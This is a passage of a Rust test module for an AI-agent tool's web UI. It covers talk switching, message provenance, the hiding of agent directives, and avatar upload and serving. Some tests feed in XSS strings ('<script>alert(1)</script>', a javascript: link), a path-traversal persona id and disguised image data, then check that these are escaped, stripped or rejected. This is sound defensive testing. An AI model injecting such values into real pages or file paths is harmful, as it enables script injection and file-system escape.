12348                Json(TalkAgent {
12349                    agent: agent.to_owned(),
12350                }),
12351            )
12352        };
12353
12354        let unknown = call("nobody").await.expect_err("unknown agent");
12355        assert_eq!(
12356            unknown.status,
12357            StatusCode::BAD_REQUEST,
12358            "{}",
12359            unknown.message
12360        );
12361
12362        {
12363            // Nothing refused so far took a claim, so the guard is free to take
12364            // and holding it is what makes the talk busy.
12365            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
12366            let busy = call("second").await.expect_err("busy talk");
12367            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
12368            assert!(
12369                busy.message.contains("a talk turn is running"),
12370                "{}",
12371                busy.message
12372            );
12373            drop(guard);
12374        }
12375        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
12376
12377        let Json(view) = call("second").await.expect("switch");
12378        assert_eq!(view.talk.agent, "second");
12379        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
12380        let saved = talks.get(&id).expect("reload");
12381        assert_eq!(saved.agent, "second");
12382        assert_eq!(saved.turns.len(), 1);
12383        assert!(!view.thinking);
12384        assert!(!ui.is_thinking(&id), "idle response must release the claim");
12385        for agent in ["mock", "second"] {
12386            let Json(view) = call(agent).await.expect("immediate consecutive change");
12387            assert_eq!(view.talk.agent, agent);
12388            assert!(!view.thinking);
12389            assert!(!ui.is_thinking(&id));
12390        }
12391
12392        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
12393            .await
12394            .expect("detail");
12395        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
12396        assert_eq!(roster, ["mock", "second"]);
12397
12398        let mut closed = talks.get(&id).expect("reload");
12399        talk::close(&mut closed, &talks).expect("close");
12400        let refused = call("mock").await.expect_err("closed talk");
12401        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
12402        assert!(
12403            refused.message.contains("takes no more turns"),
12404            "{}",
12405            refused.message
12406        );
12407    }
12408
12409    #[tokio::test]
12410    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
12411        let tmp = TempDir::new().expect("tempdir");
12412        let repo = tmp.path().join("repo");
12413        std::fs::create_dir_all(&repo).expect("repo dir");
12414        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
12415        let home = TempDir::new().expect("temp home");
12416        let talks = Talks::at(home.path().join("talks"));
12417        let ui = Arc::new(
12418            Ui::new(
12419                Queue::at(home.path().join("queue")),
12420                Questions::at(home.path().join("questions")),
12421                talks.clone(),
12422                home.path().join("runs"),
12423                home.path().to_path_buf(),
12424                repo.clone(),
12425            )
12426            .with_worktrees_root(home.path().join("wt")),
12427        );
12428        let cfg = config_for(&repo).await.expect("discover config");
12429        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
12430        let id = talk.id.clone();
12431        let call = |n: u8| {
12432            talk_implementers(
12433                State(Arc::clone(&ui)),
12434                Path(id.clone()),
12435                Json(TalkImplementers { implementers: n }),
12436            )
12437        };
12438
12439        for bad in [0u8, 4] {
12440            let e = call(bad).await.expect_err("out of range");
12441            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
12442        }
12443        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
12444
12445        {
12446            // Nothing refused so far took a claim, so the guard is free to take
12447            // and holding it is what makes the talk busy.
12448            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
12449            let busy = call(2).await.expect_err("busy talk");
12450            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
12451            assert!(
12452                busy.message.contains("a talk turn is running"),
12453                "{}",
12454                busy.message
12455            );
12456            drop(guard);
12457        }
12458
12459        let Json(view) = call(3).await.expect("switch");
12460        assert_eq!(view.talk.implementers, 3);
12461        assert!(talks.get(&id).expect("reload").implementers_dirty);
12462        assert!(!view.thinking);
12463        assert!(!ui.is_thinking(&id), "idle response must release the claim");
12464        for n in [1, 2, 3] {
12465            let Json(view) = call(n).await.expect("immediate consecutive change");
12466            assert_eq!(view.talk.implementers, n);
12467            assert!(!view.thinking);
12468            assert!(!ui.is_thinking(&id));
12469        }
12470
12471        let mut closed = talks.get(&id).expect("reload");
12472        talk::close(&mut closed, &talks).expect("close");
12473        let e = call(2).await.expect_err("closed talk");
12474        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
12475        assert!(e.message.contains("takes no more turns"), "{}", e.message);
12476    }
12477
12478    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
12479    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
12480        let tmp = TempDir::new().expect("tempdir");
12481        let repo = tmp.path().join("repo");
12482        std::fs::create_dir_all(&repo).expect("repo dir");
12483        std::fs::write(
12484            repo.join("magi.toml"),
12485            format!("{MOCK_AGENT_TOML}\n{extra}"),
12486        )
12487        .expect("write magi.toml");
12488        let home = TempDir::new().expect("temp home");
12489        let talks = Talks::at(home.path().join("talks"));
12490        let ui = Arc::new(
12491            Ui::new(
12492                Queue::at(home.path().join("queue")),
12493                Questions::at(home.path().join("questions")),
12494                talks.clone(),
12495                home.path().join("runs"),
12496                home.path().to_path_buf(),
12497                repo.clone(),
12498            )
12499            .with_worktrees_root(home.path().join("wt")),
12500        );
12501        let cfg = config_for(&repo).await.expect("discover config");
12502        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
12503        (tmp, home, ui, talk.id, repo)
12504    }
12505
12506    #[tokio::test]
12507    async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
12508        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12509        let mut conversation = ui.talks.get(&id).unwrap();
12510        talk::record(
12511            &mut conversation,
12512            &ui.talks,
12513            "# Update on a task you filed\noperator words",
12514            vec![],
12515        )
12516        .unwrap();
12517        // Simulate an old operator record; headings do not prove authorship.
12518        conversation.turns[0].sender = None;
12519        conversation.turns[0].messages.clear();
12520        ui.talks.put(&mut conversation).unwrap();
12521        talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
12522        talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
12523        talk::drain(&mut conversation, &ui.talks).unwrap();
12524        talk::record_reply(
12525            &mut conversation,
12526            &ui.talks,
12527            "about that report",
12528            vec![],
12529            Some(talk::ReplyTarget {
12530                turn: 1,
12531                message: 1,
12532            }),
12533        )
12534        .unwrap();
12535        conversation.turns[2].messages[0]
12536            .reply
12537            .as_mut()
12538            .unwrap()
12539            .sender = None;
12540        conversation.turns.push(talk::Turn {
12541            sender: Some(talk::Sender::Persona),
12542            who: talk::Who::Agent,
12543            body: "magi: actual persona words".into(),
12544            at: Timestamp::now(),
12545            attachments: vec![],
12546            usage: None,
12547            breaks: None,
12548            messages: vec![],
12549            posted_by: None,
12550        });
12551        ui.talks.put(&mut conversation).unwrap();
12552        let view = TalkView::with_config(
12553            ui.talks.get(&id).unwrap(),
12554            false,
12555            None,
12556            &ui.home,
12557            &ui.references,
12558        );
12559        assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
12560        assert_eq!(
12561            view.talk.turns[1].messages[0].sender,
12562            Some(talk::Sender::Operator)
12563        );
12564        assert_eq!(
12565            view.talk.turns[1].messages[1].sender,
12566            Some(talk::Sender::Magi)
12567        );
12568        assert_eq!(
12569            view.talk.turns[2].messages[0]
12570                .reply
12571                .as_ref()
12572                .unwrap()
12573                .sender,
12574            Some(talk::Sender::Magi)
12575        );
12576        assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
12577        assert_eq!(view.turn_messages_md[0].len(), 1);
12578        assert!(view.turn_messages_md[0][0].is_none());
12579        assert!(view.turn_messages_md[1][0].is_none());
12580        assert!(view.turn_messages_md[1][1].is_some());
12581    }
12582
12583    #[tokio::test]
12584    async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
12585        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12586        let mut conversation = ui.talks.get(&id).unwrap();
12587        let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
12588        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
12589        talk::queue_notice(
12590            &mut conversation,
12591            &ui.talks,
12592            &body,
12593            "watch:123",
12594            &|_| false,
12595            None,
12596            display.clone(),
12597        )
12598        .unwrap();
12599        assert!(
12600            !talk::queue_notice(
12601                &mut conversation,
12602                &ui.talks,
12603                &body,
12604                "watch:123",
12605                &|_| false,
12606                None,
12607                display.clone()
12608            )
12609            .unwrap()
12610        );
12611        let saved = ui.talks.get(&id).unwrap();
12612        assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
12613        let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
12614        assert!(
12615            view.talk.turns[0].messages[0].display.is_none(),
12616            "operator copy stays literal"
12617        );
12618        assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
12619        assert!(view.turn_messages_md[0][0].is_none());
12620        let queued_md = view.pending_messages_md[0].clone();
12621        assert_eq!(
12622            queued_md,
12623            Some(md::to_nodes(&display.facts, &md::ImageBase::None))
12624        );
12625        talk::drain(&mut conversation, &ui.talks).unwrap();
12626        talk::record_reply(
12627            &mut conversation,
12628            &ui.talks,
12629            "Explain",
12630            vec![],
12631            Some(talk::ReplyTarget {
12632                turn: 1,
12633                message: 0,
12634            }),
12635        )
12636        .unwrap();
12637        let mut saved = ui.talks.get(&id).unwrap();
12638        assert_eq!(saved.turns[1].messages[0].body, body);
12639        assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
12640        let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
12641        assert!(!reply.excerpt.contains("automatic report"));
12642        reply.excerpt = body.chars().take(240).collect(); // old saved quote
12643        saved.turns[1].messages[0].display = None; // old MAGI send
12644        ui.talks.put(&mut saved).unwrap();
12645        let view = TalkView::with_config(
12646            ui.talks.get(&id).unwrap(),
12647            false,
12648            None,
12649            &ui.home,
12650            &ui.references,
12651        );
12652        assert_eq!(view.turn_messages_md[1][0], queued_md);
12653        assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
12654        assert!(
12655            !view.talk.turns[2].messages[0]
12656                .reply
12657                .as_ref()
12658                .unwrap()
12659                .excerpt
12660                .contains("automatic report")
12661        );
12662        assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
12663    }
12664
12665    #[tokio::test]
12666    async fn consultation_display_hides_directives_in_queue_and_history() {
12667        for node in [
12668            "implement",
12669            crate::land::APPROVAL_NODE,
12670            crate::github_text::ASK_NODE,
12671        ] {
12672            let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12673            let mut question = Question::new(
12674                "run-123".into(),
12675                node.into(),
12676                "seat-1".into(),
12677                "Which backend?".into(),
12678                "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
12679                vec!["SQLite".into(), "Redis".into()],
12680            );
12681            ui.questions.put(&mut question).unwrap();
12682            let body = crate::prompt::chat_consult(&question);
12683            let mut conversation = ui.talks.get(&id).unwrap();
12684            talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
12685            assert!(
12686                crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
12687            );
12688            conversation = ui.talks.get(&id).unwrap();
12689            assert_eq!(conversation.pending_messages[0].body, body);
12690            assert!(body.contains("magi answer"));
12691            let mut legacy_pending = conversation.clone();
12692            legacy_pending.pending_messages[0].display = None;
12693            let legacy_view =
12694                TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
12695            let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
12696            assert!(legacy_md.contains("Question consultation"));
12697            assert!(!legacy_md.contains("magi answer"));
12698            let view =
12699                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
12700            assert!(
12701                view.turn_messages_md[0][0].is_none(),
12702                "operator copy stays literal"
12703            );
12704            let queued_md = view.pending_messages_md[0].clone().unwrap();
12705            let rendered = serde_json::to_string(&queued_md).unwrap();
12706            for visible in [
12707                "Which backend?",
12708                "Context",
12709                "storage",
12710                "SQLite",
12711                "Redis",
12712                "<script>literal</script>",
12713            ] {
12714                assert!(rendered.contains(visible), "missing {visible}");
12715            }
12716            for directive in [
12717                "What to do",
12718                "magi answer",
12719                "Never answer it yourself",
12720                "Do not edit the repository",
12721            ] {
12722                assert!(!rendered.contains(directive), "exposed {directive}");
12723            }
12724            assert_eq!(
12725                view.talk.pending_messages[0].display,
12726                Some(crate::prompt::chat_consult_display(&question))
12727            );
12728            talk::drain(&mut conversation, &ui.talks).unwrap();
12729            let view =
12730                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
12731            assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
12732            assert_eq!(conversation.turns[1].messages[0].body, body);
12733
12734            // Historical consultations lack a snapshot: show a safe placeholder
12735            // rather than parsing instructions or reconstructing mutable facts.
12736            conversation.turns[1].messages[0].display = None;
12737            let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
12738            let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
12739            assert!(legacy.contains("Question consultation"));
12740            assert!(!legacy.contains("magi answer"));
12741            assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
12742        }
12743    }
12744
12745    #[test]
12746    fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
12747        let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
12748        let (body, mut display) =
12749            crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
12750        display.facts = facts.into();
12751        let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
12752        assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
12753        let json = serde_json::to_string(&nodes).unwrap();
12754        for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
12755            assert!(json.contains(&format!("\"type\":\"{kind}\"")));
12756        }
12757        assert!(json.contains("<script>alert(1)</script>"));
12758        assert!(!json.contains("javascript:"));
12759        assert!(!json.contains("Tell the operator"));
12760        assert!(!json.contains("untrusted"));
12761        assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
12762        assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
12763        assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
12764        assert_eq!(
12765            notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
12766            md::to_nodes("# Status", &md::ImageBase::None),
12767        );
12768    }
12769
12770    #[tokio::test]
12771    async fn notification_display_recovers_exact_legacy_completion_references() {
12772        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12773        let mut conversation = ui.talks.get(&id).unwrap();
12774        let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
12775            id: "task-123",
12776            title: "Change",
12777            status: "done",
12778            reason: None,
12779            run: Some("run-123"),
12780            pr: None,
12781            summary: Some("Merge state unknown"),
12782        });
12783        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
12784        conversation.turns[0].sender = None;
12785        conversation.turns[0].messages.clear();
12786        conversation.turns[0].breaks = None;
12787        conversation.pending = body.clone();
12788        conversation
12789            .completion_notices
12790            .push(crate::chat_notify::CompletionReference {
12791                task: "task-123".into(),
12792                run: Some("run-123".into()),
12793                notice: body.clone(),
12794            });
12795        ui.talks.put(&mut conversation).unwrap();
12796        let view = TalkView::with_config(
12797            ui.talks.get(&id).unwrap(),
12798            false,
12799            None,
12800            &ui.home,
12801            &ui.references,
12802        );
12803        assert_eq!(
12804            view.talk.turns[0].messages[0].display,
12805            Some(display.clone())
12806        );
12807        assert_eq!(view.talk.pending_messages[0].display, Some(display));
12808        assert_eq!(
12809            view.talk.turns[0].messages[0].sender,
12810            Some(talk::Sender::Magi)
12811        );
12812        assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
12813        conversation.completion_notices[0]
12814            .notice
12815            .push_str("different");
12816        let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
12817        assert!(view.talk.turns[0].messages.is_empty());
12818        assert!(view.talk.pending_messages.is_empty());
12819    }
12820
12821    #[tokio::test]
12822    async fn avatar_settings_report_states_and_inherit_after_corruption() {
12823        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
12824        let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
12825            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
12826        ))
12827        .await;
12828        let path = avatar_setting_path(home.path(), Some("rei"));
12829        let orphan = avatar_setting_path(home.path(), Some("removed"));
12830        save_icon_file(&orphan, icon).unwrap();
12831        for (saved, expected) in [
12832            (icon, "custom"),
12833            ("builtin", "builtin"),
12834            ("data:image/png;base64,!!!!", "inherit"),
12835            ("data:image/png;base64,PGh0bWw+", "inherit"),
12836            ("/tmp/avatar.png", "inherit"),
12837        ] {
12838            atomic_icon_write(&path, saved).unwrap();
12839            let catalog =
12840                avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
12841                    .await
12842                    .unwrap()
12843                    .0;
12844            let personas = catalog["personas"].as_array().unwrap();
12845            let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
12846            assert_eq!(rei["override_state"], expected);
12847            assert_eq!(rei["has_config_icon"], true);
12848            assert_eq!(rei["is_orphan"], false);
12849            let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
12850            assert_eq!(removed["override_state"], "custom");
12851            assert_eq!(removed["is_orphan"], true);
12852            let default = personas.iter().find(|p| p["id"] == "default").unwrap();
12853            assert_eq!(default["override_state"], "inherit");
12854            assert_eq!(default["has_config_icon"], false);
12855            let effective = effective_persona_icon(home.path(), "rei", Some(icon));
12856            assert_eq!(
12857                effective.as_deref(),
12858                Some(if expected == "builtin" { "" } else { icon })
12859            );
12860        }
12861    }
12862
12863    #[tokio::test]
12864    async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
12865        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
12866        let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
12867            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
12868        ))
12869        .await;
12870        let target = |id: Option<&str>| AvatarSettingsQuery {
12871            persona: id.map(str::to_owned),
12872            ..Default::default()
12873        };
12874        let original_config = config_for(&repo).await.unwrap();
12875        let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
12876        let original_prompt = persona::section_for(&original_persona, None);
12877        let before = talk_detail(State(ui.clone()), Path(id.clone()))
12878            .await
12879            .unwrap()
12880            .0;
12881        for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
12882            let _ = avatar_settings_put(
12883                State(ui.clone()),
12884                Query(target(persona)),
12885                Json(MagiIconUpload { icon: icon.into() }),
12886            )
12887            .await
12888            .unwrap();
12889            let path = avatar_setting_path(home.path(), persona);
12890            assert!(path.starts_with(home.path().join("avatars")));
12891            assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
12892            for bad in [
12893                "/tmp/image.png".to_owned(),
12894                "data:image/png;base64,!!!!".to_owned(),
12895                "data:image/png;base64,PGh0bWw+".to_owned(),
12896                "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
12897                format!(
12898                    "data:image/png;base64,{}",
12899                    "A".repeat(persona_icon::ICON_MAX_BYTES)
12900                ),
12901            ] {
12902                assert!(
12903                    avatar_settings_put(
12904                        State(ui.clone()),
12905                        Query(target(persona)),
12906                        Json(MagiIconUpload { icon: bad })
12907                    )
12908                    .await
12909                    .is_err()
12910                );
12911                assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
12912            }
12913        }
12914        assert!(read_magi_icon(home.path()).is_none());
12915        assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
12916        let after = talk_detail(State(ui.clone()), Path(id.clone()))
12917            .await
12918            .unwrap()
12919            .0;
12920        assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
12921        assert_ne!(
12922            before
12923                .personas
12924                .iter()
12925                .find(|p| p.id == "magi")
12926                .unwrap()
12927                .avatar,
12928            after
12929                .personas
12930                .iter()
12931                .find(|p| p.id == "magi")
12932                .unwrap()
12933                .avatar
12934        );
12935        let restarted = Arc::new(Ui::new(
12936            Queue::at(home.path().join("queue")),
12937            Questions::at(home.path().join("questions")),
12938            Talks::at(home.path().join("talks")),
12939            home.path().join("runs"),
12940            home.path().to_owned(),
12941            repo,
12942        ));
12943        let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
12944            .await
12945            .unwrap()
12946            .0;
12947        assert!(
12948            catalog["personas"]
12949                .as_array()
12950                .unwrap()
12951                .iter()
12952                .any(|p| p["id"] == "../custom/日本語")
12953        );
12954        for expected in ["custom", "default", "rei"] {
12955            assert!(
12956                catalog["personas"]
12957                    .as_array()
12958                    .unwrap()
12959                    .iter()
12960                    .any(|p| p["id"] == expected)
12961            );
12962        }
12963        let response =
12964            operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
12965        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
12966        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
12967            .await
12968            .unwrap();
12969        assert_eq!(
12970            effective_persona_icon(home.path(), "rei", Some(icon)),
12971            Some(String::new())
12972        );
12973        let response = talk_avatar(
12974            State(restarted.clone()),
12975            Path(id.clone()),
12976            Query(AvatarQuery {
12977                persona: Some("rei".into()),
12978                ..Default::default()
12979            }),
12980        )
12981        .await
12982        .unwrap();
12983        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
12984        let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
12985            .await
12986            .unwrap()
12987            .0;
12988        assert_ne!(
12989            after
12990                .personas
12991                .iter()
12992                .find(|p| p.id == "rei")
12993                .unwrap()
12994                .avatar,
12995            reset
12996                .personas
12997                .iter()
12998                .find(|p| p.id == "rei")
12999                .unwrap()
13000                .avatar
13001        );
13002        let mut inherit = target(Some("rei"));
13003        inherit.inherit = Some("1".into());
13004        let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
13005            .await
13006            .unwrap();
13007        assert_eq!(
13008            effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
13009            Some(icon)
13010        );
13011        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
13012            .await
13013            .unwrap();
13014        assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
13015        assert_eq!(
13016            read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
13017            Some(icon)
13018        );
13019        // Display changes never rewrite the conversation or its prompt-bearing config.
13020        let cfg = config_for(&ui.repo).await.unwrap();
13021        let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
13022        assert_eq!(persona::section_for(&resolved, None), original_prompt);
13023        assert!(!original_prompt.contains("data:image"));
13024        assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
13025        let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
13026        assert!(!stored.contains("data:image"));
13027        let mut orphan = ui.talks.get(&id).unwrap();
13028        orphan.persona = "../custom/日本語".into();
13029        let view = TalkView::with_config(
13030            orphan,
13031            false,
13032            Some(&cfg),
13033            home.path(),
13034            &id_links::IndexCache::default(),
13035        );
13036        assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
13037    }
13038
13039    #[tokio::test]
13040    async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
13041        let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
13042        let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
13043        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
13044        let _ = magi_icon_put(
13045            State(ui.clone()),
13046            Json(MagiIconUpload { icon: icon.into() }),
13047        )
13048        .await
13049        .unwrap();
13050        let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
13051        assert_ne!(original, changed);
13052        assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
13053        let response = magi_avatar(
13054            State(ui.clone()),
13055            Query(AvatarQuery {
13056                persona: None,
13057                builtin: None,
13058            }),
13059        )
13060        .await;
13061        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
13062        assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
13063        assert_eq!(
13064            response.headers()[header::X_CONTENT_TYPE_OPTIONS],
13065            "nosniff"
13066        );
13067        for bad in [
13068            "data:image/png;base64,PGh0bWw+".to_owned(),
13069            "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
13070            "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
13071        ] {
13072            assert!(save_magi_icon(home.path(), &bad).is_err());
13073            assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
13074        }
13075        // Re-opened server state reads the same independent home file.
13076        let restarted = Arc::new(Ui::new(
13077            Queue::at(home.path().join("queue")),
13078            Questions::at(home.path().join("questions")),
13079            Talks::at(home.path().join("talks")),
13080            home.path().join("runs"),
13081            home.path().to_path_buf(),
13082            repo,
13083        ));
13084        assert_eq!(
13085            magi_icon_get(State(restarted.clone())).await.0["avatar"],
13086            changed
13087        );
13088        let view = TalkView::with_config(
13089            restarted.talks.get(&id).unwrap(),
13090            false,
13091            None,
13092            &restarted.home,
13093            &restarted.references,
13094        );
13095        assert_eq!(view.magi_avatar, changed.as_str().unwrap());
13096        std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
13097        let response = magi_avatar(
13098            State(ui.clone()),
13099            Query(AvatarQuery {
13100                persona: None,
13101                builtin: None,
13102            }),
13103        )
13104        .await;
13105        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
13106            .await
13107            .unwrap();
13108        assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
13109        let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
13110        assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
13111        let _ = magi_icon_delete(State(ui)).await.unwrap();
13112    }
13113
13114    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
13115    async fn avatar(
13116        ui: &Arc<Ui>,
13117        id: &str,
13118        persona: Option<&str>,
13119        builtin: bool,
13120    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
13121        let res = talk_avatar(
13122            State(Arc::clone(ui)),
13123            Path(id.to_owned()),
13124            Query(AvatarQuery {
13125                persona: persona.map(str::to_owned),
13126                builtin: builtin.then(|| "1".to_owned()),
13127            }),
13128        )
13129        .await
13130        .expect("an avatar is never an error response");
13131        let h = res.headers();
13132        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
13133        let nosniff = h
13134            .get(header::X_CONTENT_TYPE_OPTIONS)
13135            .is_some_and(|v| v == "nosniff");
13136        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
13137        let status = res.status();
13138        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
13139            .await
13140            .expect("body")
13141            .to_vec();
13142        (status, ct, nosniff, csp, body)
13143    }
13144
13145    fn tiny_png() -> Vec<u8> {
13146        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
13147        b.extend_from_slice(&[0u8; 32]);
13148        b
13149    }
13150
13151    #[tokio::test]
13152    async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
13153        let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
13154        let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
13155        assert_eq!(res.status(), StatusCode::OK);
13156        assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
13157        assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
13158        assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
13159        assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
13160        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
13161            .await
13162            .unwrap();
13163        assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
13164        assert_ne!(
13165            persona_icon::operator_svg(),
13166            persona_icon::builtin_svg("default")
13167        );
13168    }
13169
13170    #[tokio::test]
13171    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
13172        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
13173        for p in [
13174            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
13175        ] {
13176            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
13177            assert_eq!(status, StatusCode::OK, "{p}");
13178            assert_eq!(ct, "image/svg+xml", "{p}");
13179            assert!(nosniff && csp, "{p}");
13180            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
13181        }
13182        // No `persona` means the conversation's own; unknown ones fall back.
13183        let own = avatar(&ui, &id, None, false).await;
13184        let default = avatar(&ui, &id, Some("default"), false).await;
13185        assert_eq!(own.4, default.4);
13186        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
13187        assert_eq!(unknown.1, "image/svg+xml");
13188    }
13189
13190    #[tokio::test]
13191    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
13192        let dir = TempDir::new().expect("icons");
13193        let good = dir.path().join("good.png");
13194        std::fs::write(&good, tiny_png()).unwrap();
13195        let spoof = dir.path().join("spoof.png");
